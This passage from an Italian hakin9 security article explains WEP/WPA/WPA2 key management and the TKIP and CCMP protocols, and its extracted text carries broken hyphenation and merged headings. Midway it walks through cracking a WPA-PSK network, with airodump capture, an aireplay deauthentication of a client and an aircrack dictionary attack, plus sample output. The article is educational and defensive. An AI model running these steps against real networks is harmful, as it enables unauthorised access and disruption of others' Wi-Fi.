Fig. 8: Fase 3: Pairwise Key Hierarchy

Page 10: Sicurezza WEP, WPA e WPA2

hakin9 Nº 2/2006 www.hakin9.org

Prima Pagina

22

La Group Key Handshake è ri-chiesta solo per dissociare un host e per rigenerare la GTK su richiesta di un client. L'autenticatore inizializza il primo messaggio scegliendo il nume-ro causale GNonce e calcolando una nuova GTK. Poi invia al supplicant la GTK cifrata (usando KEK), il numero di sequenza GTK e la MIC calcolata da questo messaggio usando KCK. Quando il supplicant riceve il mes-saggio, la MIC viene verificata e la GTK può essere decifrata.

Il secondo messaggio riconosce il completamento della Group Key Handshake inviando un numero di sequenza GTK e la MIC calcolata su questo secondo messaggio. Dopo la ricezione, l'autenticatore installa la nuova GTK (dopo aver verificato il valore MIC).

Esiste anche una STAkey Han-dshake, ma non ne discuteremo in questo articolo. Supporta la crea-zione dal punto di accesso di chiavi segrete di tipo transient chiamate STAkey per le connessioni ad-hoc.

Fase 4: Segretezza e integrità dei dati RSNATutte le chiavi generate in prece-denza sono usate nei protocolli che

supportano la segretezza e l'integrità dei dati RSNA:

• TKIP (Temporal Key Hash),• CCMP (Counter-Mode / Cipher

Block Chaining Message Au-thentication Code Protocol),

• WRAP (Wireless Robust Authen-ticated Protocol).

Prima di analizzare in dettaglio questi protocolli dobbiamo capire un concetto importante: la differen-za che passa tra un MSDU (MAC Service Data Unit) e un MPDU (MAC

Protocol Data Unit). Entrambi si rife-riscono ad un singolo pacchetto di dati, ma il MSDU rappresenta anche i dati prima della frammentazione, mentre i MPDU sono unità di dati multipli dopo la frammentazione. La differenza è importante nella cifra-tura TKIP e CCMP, dal momento che in TKIP la MIC viene calcolata dal MSDU, mentre nel CCMP vene calcolata dal MPDU.

Proprio come WEP, la TKIP si basa sull'algoritmo di cifratura RC4, ma esiste per una sola ragione: per permettere ai sistemi WEP di essere aggiornati e implementare protocolli più sicuri. La TKIP è richiesta per la certificazione WPA ed è anche inse-rita nel RSN 802.11i come opzione facoltativa. La TKIP aggiunge anche misure correttive per tutte le vulnera-bilità WEP descritte prima:

• integrità del messaggio: una nuova MIC (Message Integrity Protocol) chiamata Michael che può essere implementata nei software che girano su microprocessori lenti,

• IV: una nuova selezione di regole per i valori IV, re-utilizzando il vettore IV come contatore replay (TSC, o TKIP Sequence Counter) e aumentando le dimensioni del vettore IV per evitare il riutilizzo,

• Funzione Per Packet Key Mixing: per generare chiavi di cifratura apparentemente non legate,

• gestione chiave: nuovo mecca-nismo per la distribuzione e la modifica delle chiavi.

Fig. 9: Fase 3: Handshake a 4 vie

Fig. 10: Fase 3: Group Key Hierarchy

Page 11: Sicurezza WEP, WPA e WPA2

Sicurezza WEP, WPA e WPA2

hakin9 Nº 2/2006www.hakin9.org 23

Il modello TKIP Key-Mixing si divide in due fasi. La Fase 1 riguarda i dati statici – la chiave di sessione segreta TEK, l'indirizzo trasmettitore MAC TA (per prevenire le collisioni tra vettori IV) e i 32 bit più alti del vettore IV. La Fa-se 2 dipende dall'output della Fase 1 e comprende i 16 bit più bassi del vettore IV, modificando tutti i bit del campo Per Packet Key per ogni nuovo IV. Il valore IV inizia sempre con 0 ed è aumentato di 1 per ogni pacchetto inviato, con il rifiuto di qualsiasi mes-saggio il cui TSC non è più grande del-l'ultimo messaggio. L'output della Fase 2 e parte del IV esteso (più un byte di prova) sono l'input per la RC4, gene-rando un keystream con un operatore XOR con un MPDU in formato testo, la MIC calcolata dalla MPDU e il vecchio ICV di WEP (vedere Fig. 12).

Il calcolo MIC utilizza l'algoritmo Michael di Niels Ferguson. Venne creato per la TKIP e ha un livello di sicurezza di 20 bit (l'algoritmo non usa la moltiplicazione per ragioni di presta-zione, poiché deve essere supportato da hardware wireless di vecchia ge-nerazione e deve essere aggiornato per il WPA). A causa di questi limiti, le contromisure sono necessaire per evi-tare una alterazioni MIC. I guasti MIC devono essere ridotti a due al minuto, altrimenti viene applicato un balckout di 60 secondi e le nuove chiavi (GTK e PTK) devono essere stabilite in un secondo momento. Micheal calcola un valore di controllo di 8 ottetti chiamato MIC e lo aggiunge al MSDU prima della trasmissione. La MIC viene calcolato dall'indirizzo di origine (SA), indirizzo di destinazione (DA), MSDU in testo chiaro e la TMK appropriata (a seconda dei casi, viene usata una chiave diversa per la trasmissione e la ricezione).

Il CCMP si basa sulla suite dei cifrario a blocco AES (Advanced En-cryption Standard) in modalità CCM con le chiavi e i blocchi di 128 bit. AES è per CCMP quello che RC4 è per TKIP, ma al contrario di TKIP che era stato creato per accogliere l'hardware WEP esistente, CCMP non è un ibrido bensì un nuovo protocollo. Il CCMP utilizza una modalità combinato ad un messaggio di autenticazione detto

Cipher Block Chaining (CBC-MAC) per produrre una MIC.

Esso aggiunge altre funzio-nalità interessanti, come l'uso di una singola chiave per la cifratura e l'autenticazione (con diversi vettori di inizializzazione) o che si occupava-no dati non cifrati dall'autenticazione. Il protocollo CCMP aggiunge 16 byte alla MPDU: 8 byte per l'intestazione CCMP e 8 byte per la MIC. L'intesta-zione CCMP è un campo non cifrato incluso tra l'intestazione MAC e i dati cifrati, inclusi il PN di 48 bit (Packet Number = IV esteso) e il Group Key KeyID. La PN viene aumentata di uno per ogni MPDU successivo.

Il calcolo MIC utilizza l'algoritmo CBC-MAC che cripta il blocco nonce (calcolato dai campi Priority, MPDU indirizzo di origine e il PN aumenta-to) e i blocchi XOR successivi per ottenere una MIC finale di 64 bit (la MIC finale è un blocco di 128 bit, dal momento che i 64 bit più bassi sono rifiutati). Il MIC viene più aggiunto ai dati in testo semplice per la cifratura AES in modalità contatore. Il conta-tore è costruito da un nonce simile a quello della MIC, ma con un cam-po contatore in più inizializzato a 1 e incrementato per ogni blocco.

L'ultimo protocollo è WRAP, basato anch'esso su AES, ma che utilizza il modello di cifratura auten-ticato OCB (Offset Codebook Mode) (cifratura e l'autenticazione in un unico calcolo). Il modello OCB fu il primo scelto dal gruppo di lavoro di IEEE 802.11i, ma venne poi abban-donato a causa di problemi legati alla proprietà intellettuale e le tariffe della

licenza. Il CCMP venne allora adot-tato come metodo obbligatorio.

Limiti di WPA/WPA2Anche se sono state scoperte un nu-mero di limiti minori in WPA/WPA2, nessuna di queste debolezze è con-siderato troppo pericolo a condizione che si rispettano le raccomandazioni di sicurezza.

La vulnerabilità più pratica è l'at-tacco contro la chiave PSK di WPA/WPA2. Come abbiamo già detto, la PSK fornisce un alternativa alla ge-nerazione PMK di 802.1x attraverso un server di autenticazione. Si tratta di una stringa di 256 bit o passphrase di 8 a 63 caratteri usati per generare tale stringa con un algoritmo noto: PSK = PMK = PBKDF2 (password, SSID, lunghezza SSID, 4096, 256), dove PBKDF2 è un metodo usato in PKCS#5, 4096 è il numero delle hash e 256 è la lunghezza dell'output. Il PTK è derivato dalla PMK usando la Handshake a 4 vie e tutte le informa-zioni usate per calcolare il suo valore è trasmesso in testo semplice.

La forza di PTK quindi risiede solo nel valore PMK che per la PSK significa la passphrase. Come indica-to da Robert Moskowitz, il secondo messaggio della Handshake a 4 vie potrebbe essere soggetto sia al dictio-nary attack sia alla brute force offline. Cowpatty fu creata per sfruttare que-sto difetto,e il suo codice sorgente era stato usato e migliorato da Christophe Devine in Aircrack per consentire il gli attacchi di tipo dictionary su PSK e di brute force su WPA. La struttura del protocollo (4096 hash per ogni

Fig. 11: Fase 3: Group Key Handshake

Page 12: Sicurezza WEP, WPA e WPA2

hakin9 Nº 2/2006 www.hakin9.org

Prima Pagina

24

tentativo di password) significa che un attacco brute force è molto lento (solo alcune centinaia di password per secondo con i più recenti proces-sori singoli). Il PMK non può essere pre-calcolato dal momento che la passphrase viene mischiato ulterior-mente in base alla ESSID. Per proteg-gersi efficacemente da questo difetto è bene scegliere una buona pas-sphrase con parole inesistenti (alme-no 20 caratteri).

Fig. 12: Modello TKIP Key-Mixing e cifratura

Fig. 13: Calcolo MIC con l'algoritmo Michael

Fig. 14: Cifratura CCMP

Page 13: Sicurezza WEP, WPA e WPA2

Sicurezza WEP, WPA e WPA2

hakin9 Nº 2/2006www.hakin9.org 25

Per eseguire questo attacco, l'aggressore dove catturare i mes-saggi della Handshake a 4 vie moni-torano passivamente la rete wireless o usando l'attacco di de-autentica-zione (descritto prima) per velociz-zare il processo.

Infatti, i primi due messaggi sono necessari per iniziare la previsione dei valori PSK. Ricordate che PTK = PRF-X (PMK, Pairwise key expansion, Min(AP_Mac, STA_Mac) || Max(AP_Mac, STA_Mac) || Min(ANonce, SNonce) || Max(ANonce, SNonce)), dove PMK è uguale a PSK nel nostro caso. Dopo il secondo messaggio, l'aggressore conosce ANonce (dal primo messaggio) e SNonce (dal secondo messaggio) e può iniziare a indovinare il valore PSK per cal-colare il PSK e le chiavi temporanee derivate. Se il PSK è indovinato giusta-mente, il MIC del secondo messaggio potrebbe essere ottenuto con la KCK corrispondente – altrimenti una nuova previsione deve essere fatta.

Adesso vediamo un esempio pratico. Inizia proprio con l'esempio del cracking del WEP. Il primo passo è attivare la modalità monitor:

# airmon.sh start ath0

Il passo successivo è di rilevare reti vicine e i rispettivi client associati (vedere Listing 7).

Questo risultato potrebbe essere interpretato come segue: un punto di accesso con BSSID 00:13:10:1F:9A:72 sta usando la cifratura WPA sul ca-nale 1 con la SSID hakin9demo e un client, identificato dall'indirizzo MAC 00:0C:F1:19:77:5C sono associati e autenticati su questa rete wireless (in altre parole la Handshake a 4 vie è stata già fatta per questo client).

Una volta trovato la rete di inte-resse, verrà lanciato la cattura sul canale corretto per evitare di man-care i pacchetti desiderati durante la scansione di altri canali:

# airodump ath0 wpa-psk 1

i client illegittimi dovrebbero quindi essere dissociati, obbligandoli a ini-ziare una nuova associazione e per-

mettendoci di catturare i messaggi Handshake a 4 vie. Aireplay è usata anche per questo attacco e dissoce-rà il client selezionato con il BSSID specificato inviando una richiesta di dissociazione fasulla:

# aireplay -0 1 -a <BSSID>

-c <client_mac> ath0

Il passo finale è di lanciare un attac-co di dizionario usando Aircrack (ve-dere Listing 8). La Fig. 15 presenta i risultati.

L'altra grande debolezza di WPA è la possibilità di un Denial of Service durante la Handshake a 4 vie. Chan-ghua He e John C. Mitchell hanno notato che il primo messaggio della

Handshake a 4 vie non è autenticato e ogni client deve memorizzare ogni primo messaggio fino a quando non riceve un terzo messaggio valido (firmato), lasciando il client vulnera-bile all'esaurimento della memoria. Falsando il primo messaggio inviato dal punto di accesso, un aggressore può eseguire un DoS sul client se è possibile per diverse sessioni si-multanee di esistere.

Il Michael Message Integrity Co-de noto anche come debolezza che risulta dalla sua struttura (forzato dal task group di 802.11i). La sicurezza di Michael si basa su una comunicazione cifrata. Anche se le MIC crittografiche sono di solito pianificate per resistere a attacchi in testo semplice noti (dove

Listing 7. Rilevazione di reti vicine

# airodump ath0 wpa-crk 0

BSSID PWR Beacons # Data CH MB ENC ESSID

00:13:10:1F:9A:72 56 112 16 1 48 WPA hakin9demo

BSSID STATION PWR Packets ESSID

00:13:10:1F:9A:72 00:0C:F1:19:77:5C 34 1 hakin9demo

Listing 8. Lancio di un attacco di dizionario

$ aircrack -a 2 -w some_dictionnary_file -0 wpa-psk.cap

Opening wpa-psk.cap

Read 541 packets.

BSSID ESSID Encryption

00:13:10:1F:9A:72 hakin9demo WPA (1 handshake)

Fig. 15: WPA PSK debole trovata con Aircrack

Page 14: Sicurezza WEP, WPA e WPA2

hakin9 Nº 2/2006 www.hakin9.org

Prima Pagina

26

l'aggressore ha un messaggio in chiaro e il proprio MIC), Micheal è vulnerabile a tali attacchi perché è invertibile. Dato un unico messaggio noto e il suo valo-re MIC, è possibile scoprire la chiave segreta MIC, quindi mantenendo il valore MIC segreto è cruciale. L'ultima debolezza nota è un attacco teoretico contro la Temporal Key Hash di WPA, che comprende una complessità ridotta dell'attacco (da ∂128 a ∂105) in alcune circostanze (conoscenza di diverse chiavi RC4).

WPA/WPA2 sono anche soggette a vulnerabilità che colpiscono altri meccanismi 802.11i come gli attacchi con l'alterazione del messaggio802.1X (EAPoL Logoff, EAPoL Start, EAP Failure ecc.), descritto per la prima volta da William A. Arbaugh e Arunesh

Mishra e forse dovuto alla mancanza di autenticazione. Infine, è importante notare che usare il protocollo WPA/WPA2 non fornisce nessuna prote-zione contro le tecnologie sottostanti, come la radio frequency jamming, DoS attraverso violazioni 802.11, de-autenticazione, de-associazione, ecc.

Implementazione WPA/WPA2 OSSu Windows, il supporto WPA2 non è integrato. Un aggiornamento per Windows XP SP2 (KB893357) venne distribuito il 29 aprile 2005, aggiungendo WPA2 e migliorando la rilevazione della rete (vedere Fig. 16). Altri sistemi operativi Mi-crosoft devono usare un supplicant esterno (commerciale o open sour-

ce, come wpa_supplicant – la ver-sione Windows è sperimentale).

Su Linux e *BSD, wpa_sup-plicant era già pronto per WPA2 appena uscito lo standard 802.11i. Il supplicant esterno supporta una grande quantità di metodi EAP e le funzioni per la gestione delle chiavi per WPA, WPA2 e WEP. Le reti mul-tiple possono essere dichiarate con diversi metodi di cifratura, gestione delle chiavi EAP – Il Listing 9 presen-ta un semplice file di configurazione WPA2. La collocazione predefinita per il file di configurazione wpa_sup-plicant è /etc/wpa_supplicant.conf, e il file dovrebbe solo essere acces-sibile dall'utente di root.

Il demone wpa_supplicant do-vrebbe prima essere lanciato con

• AP – Access Point, una stazione base per una rete Wi-Fi che connette client wireless tra di essi e a reti wired.

• ARP – Address Resolution Protocol, protocollo per la tradu-zione di indirizzi IP in indirizzi MAC.

• BSSID – Basic Service Set Identifier, indirizzo MAC per il punto d'accesso.

• CCMP – Counter-Mode / Cipher Block Chaining Message Authentication Code Protocol, protocollo di cifratura usato in WPA2, basato sulla suite dei cifrari a blocco AES.

• CRC – Cyclic Redundancy Check, algoritmo pseudo-integri-tà usato nel protocollo WEP (debole).

• EAP – Extensible Authentication Protocol, framework per diversi metodi di autenticazione.

• EAPOL – EAP Over LAN, protocollo usato nelle reti wireless per il trasporto del framewrok EAP.

• GEK – Group Encryption Key, chiave per la cifratura dei dati nel traffico multicast (usato anche per la integrità in CCMP).

• GIK – Group Integrity Key, chiave per la cifratura dei dati nel traffico multicast (usato in TKIP).

• GMK – Group Master Key, chiave principale del gruppo di gerarchia delle chiavi.

• GTK – Group Transient Key, chiave derivante dalla GMK.• ICV – Integrity Check Value, campo dati aggiunti ai dati in

chiaro per l'integrità (basato sull'algoritmo debole CRC32).• IV – Initialization Vector, dati combinati con la chiave di cifra-

tura che produce un unico keystream.• KCK – Key Confirmation Key, chiave di integrità che proteg-

ge i messaggi di handshake.• KEK – Key Encryption Key, chiave di segretezza che proteg-

ge i messaggi di handshake.• MIC – Message Integrity Code, campo dati aggiunti ai dati in

chiaro per l'integrità (basato sull'algoritmo Michael).• MK – Master Key, chiave maestra nota al supplicant e all'au-

tenticatore dopo il processo di autenticazione 802.1x.• MPDU – Mac Protocol Data Unit, pacchetti dati prima della

frammentazione.

• MSDU – Mac Service Data Unit, pacchetto dati dopo la fram-mentazione.

• PAE – Port Access Entity, porta logica 802.1x.• PMK – Pairwise Master Key, chiave maestra della coppia

della gerarchia della chiave.• PSK – Pre-Shared Key, chiave derivante da una passphrase

che sostituisce il PMK che si solito vienen lanciato dal un vero server autenticatore.

• PTK – Pairwise Transient Key, chiave derivante dalla PMK.• RSN – Robust Security Network, meccanismo di sicurezza

802.11i (TKIP, CCMP ecc.).• RSNA – Robust Security Network Association, associazione

di sicurezza usato in un RSN.• RSN IE – Robust Security Network Information Element,

campi contenenti le informazioni RSN incluse nella Probe Response e nella Association Request.

• SSID – Service Set Identifier, l'identificatore della rete wire-less (diverso da ESSID).

• STA – Station, un client wireless.• TK – Temporary Key, chiave per la cifratura dei dati nel traffico

unicast (usato anche per la verifica dell'integrità in CCMP).• TKIP – Temporal Key Integrity Protocol, protocollo di cifratura

usato in WPA basato sull'algoritmo RC4 (come WEP).• TMK – Temporary MIC Key, chiave per l'integrità dei dati nel

traffico unicast (usato in TKIP).• TSC – TKIP Sequence Counter, contatore replay usato in

TKIP (diverso da Extended IV).• TSN – Transitional Security Network, meccanismo di sicu-

rezza pre-802.11i (WEP ecc.).• WEP – Wired Equivalent Privacy, protocollo di cifratura pre-

definito per le reti 802.11.• WPA – Wireless Protected Access, implementazione di una

prima versione dello standard 802.11i, basato sull'algoritmo di cifratura TKIP.

• WRAP – Wireless Robust Authenticated Protocol, il vecchio protocollo di cifratura usato nelle WPA2.

Glossario

Page 15: Sicurezza WEP, WPA e WPA2

Sicurezza WEP, WPA e WPA2

hakin9 Nº 2/2006www.hakin9.org 27

i privilegi di root in modalità debug (opzione -dd), con il supporto di driver corretto (nel nostro esempio è l'opzione -D madWi-Fi per suppor-

tare il chipset Atheros), il nome del-l'interfaccia (opzione -i, nel nostro caso è ath0) e un percorso al file di configurazione (opzione -c):

# wpa_supplicant

-D madWi-Fi

-dd -c /etc/wpa_supplicant.conf

-i ath0

Tutte le fasi teoriche descritte appena sono output in modalità debug (asso-ciazione AP, autenticazione 802.1X, Handshake a 4 vie ecc.). Appena è tutto funzionante, wpa_supplicant dovrebbe essere eseguito in moda-lità demone (sostituite l'opzione -dd con -B).

Su Macintosh, WPA2 è suppor-tato con la versione dell'aggiorna-mento 4.2 di Apple AirPort software: AirPort Extreme-enabled Macinto-shes, AirPort Extreme Base Station e AirPort Express.

ConclusioniCi sembra chiaro che la cifratura WEP non fornisce abbastanza sicurezza in ambito delle reti wireless e può essere usata solo con soluzioni di cifratura di livello più alto (come VPN). WPA è una soluzione sicura per dispositivi che si possono aggiornare e che non sup-portano WPA2, ma WPA2 diventerà presso lo standard per la sicurezza wireless. Non dimenticate di mettere i vostri dispositivi wireless in una zona filtrata e mantenere una connessione wired a portata di mano per le reti mis-sion-critical ad alta prestazione – radio frequency jamming e attacchi di bas-so livello (violazione dello standard 802.11, de-associazioni fasulle, ecc) possono ancora essere devastanti. l

Fig. 16: Supporto WPA2 su Windows XP SP2

Listing 9. File di configurazione wpa_supplicant per WPA2

ap_scan=1 # Scan radio frequency and select appropriate access

point

network={ # First wireless network

ssid="some_ssid" # SSID of the network

scan_ssid=1 # Send Probe Request to find hidden SSID

proto=RSN # RSN for WPA2/IEEE 802.11i

key_mgmt=WPA-PSK # Pre-Shared Key authentication

pairwise=CCMP # CCMP protocol (AES encryption)

psk=1232813c587da145ce647fd43e5908abb45as4a1258fd5e410385ab4e5f435ac

}

In Rete• http://standards.ieee.org/getieee802/download/802.11i-2004.pdf – standard IEEE

802.11i,• http://www.awprofessional.com/title/0321136209 – Real 802.11 Security Wi-Fi

Protected Access and 802.11i (John Edney, William A. Arbaugh) – Addison Wesley – ISBN: 0-321-13620-9,

• http://www.cs.umd.edu/~waa/attack/v3dcmnt.htm – Un attacco induttivo in forma-to testo contro WEP/WEP2 (Arbaugh),

• http://www.drizzle.com/~aboba/IEEE/rc4_ksaproc.pdf – Debolezze dell'algoritmo Key Scheduling della RC4 (Fluhrer, Mantin, Shamir),

• http://www.dachb0den.com/projects/bsd-airtools/wepexp.txt – ottimizzazione h1kari,

• http://www.isaac.cs.berkeley.edu/isaac/mobicom.pdf – articolo Intercepting Mobi-le Communications: The Insecurity of 802.11 (Borisov, Goldberg, Wagner),

• http://airsnort.shmoo.com/ – AirSnort,• http://www.cr0.net:8040/code/network/aircrack/ – Aircrack (Devine),• http://weplab.sourceforge.net/ – Weplab (Sanchez),• http://www.Wi-Finetnews.com/archives/002452.html – limiti di WPA PSK (Mo-

skowitz),• http://new.remote-exploit.org/images/5/5a/Cowpatty-2.0.tar.gz – strumenti per il

crack con Cowpatty WPA-PSK,• http://byte.csc.lsu.edu/~durresi/7502/reading/p43-he.pdf – Analisi della han-

dshake a 4 vie 802.11i (He, Mitchell),• http://www.cs.umd.edu/%7ewaa/1x.pdf – Un'analisi iniziale della sicurezza dello

standard IEEE 802.1X (Arbaugh, Mishra),• http://support.microsoft.com/?kbid=893357 – Aggiornamento WPA2 per Micro-

soft Windows XP SP2,• http://hostap.epitest.fi/wpa_supplicant/ – wpa_supplicant,• http://www.securityfocus.com/infocus/1814 – WEP: Dead Again, Parte 1,• http://www.securityfocus.com/infocus/1824 – WEP: Dead Again, Parte 2.

Cenni sull'autoreGuillaume Lehembre è un consulente francese che si occupa della sicurezza informa-tica presso la HSC (Hervé Schauer Consultants – http://www.hsc.fr) dal 2004. Durante la sua lunga e varieggiata carriera professionale si è occupato di certificazioni, studi e test di penetrazione, acquisendo una notevole esperienza nella sicurezza wireless. Ha anche tenuto delle conferenze e pubblicato degli studi sulla sicurezza. Potete contatta-re Guillaume al suo indirizzo email: [email protected].